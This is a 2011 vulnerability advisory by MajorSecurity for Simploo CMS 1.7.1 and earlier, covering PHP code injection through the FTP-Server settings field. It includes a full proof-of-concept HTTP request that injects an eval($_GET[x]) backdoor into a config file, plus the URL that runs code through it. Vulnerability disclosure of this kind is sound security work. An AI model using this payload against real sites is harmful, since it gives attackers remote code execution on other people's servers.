Simploo CMS Community Edition - Remote PHP Code Execution Issue Details ============= Product: Simploo CMS Community Edition Security-Risk: moderated Remote-Exploit: yes Vendor-URL: http://www.simploo.de/ Advisory-Status: published Credits ============= Discovered by: David Vieira-Kurz of MajorSecurity Affected Products: ============= Simploo CMS 1.7.1 and prior Description ============= "Simploo CMS is a content management system (CMS)." More Details ============= I have discovered some vulnerabilities in Simploo CMS, which can be exploited by malicious people to compromise a vulnerable system. Input passed via the "FTP-Server" field when editing FTP options is not properly sanitised in lib/Simploo/Config/Writer/Ini.php before being saved to the config/custom/base.ini.php file. This can be exploited to inject and execute arbitrary PHP code via a specially crafted parameter value. Successful exploitation requires "write" privileges. Proof of Concept ============= POST /simploo/index.php/sicore/updates/optionssave HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Accept: application/json, text/javascript, */* Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://localhost/simploo/index.php/sifront/page/show/%5Bdraft%5D1 Cookie: PHPSESSID=r87k31lhqmbp9707io8r6qr2p6; si_admin_selected=si_tree_settings_updates_options; si_admin_open=si_tree_settings_general%2Csi_tree_settings_general_system%2Csi_tree_settings_updates%2Csi_tree_settings_bemodules%2Csi_tree_settings_contentelements Pragma: no-cache Cache-Control: no-cache Content-Length: 105 ftpenable=&ftpserver=*%2F+eval%28%24_GET%5Bx%5D%29%3B%2F*&ftpuser=&ftppass=&ftppasv=0&ftpssl=0&ftpremote= Exploit ============= http://localhost/simploo/config/custom/base.ini.php?x=phpinfo%28%29; Solution ============= Edit the source code to ensure that input is properly sanitised. Timeline ================ 2010-07-16, vulnerability identified 2010-07-17, vendor contacted and asked for pgp key 2010-07-19, vendor sent his pgp key 2010-07-20, vulnerability sent to vendor 2011-01-18, advisory published after 6 month Use of terms ================ Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact us for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall MajorSecurity be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if MajorSecurity has been advised of the possibility of such damages.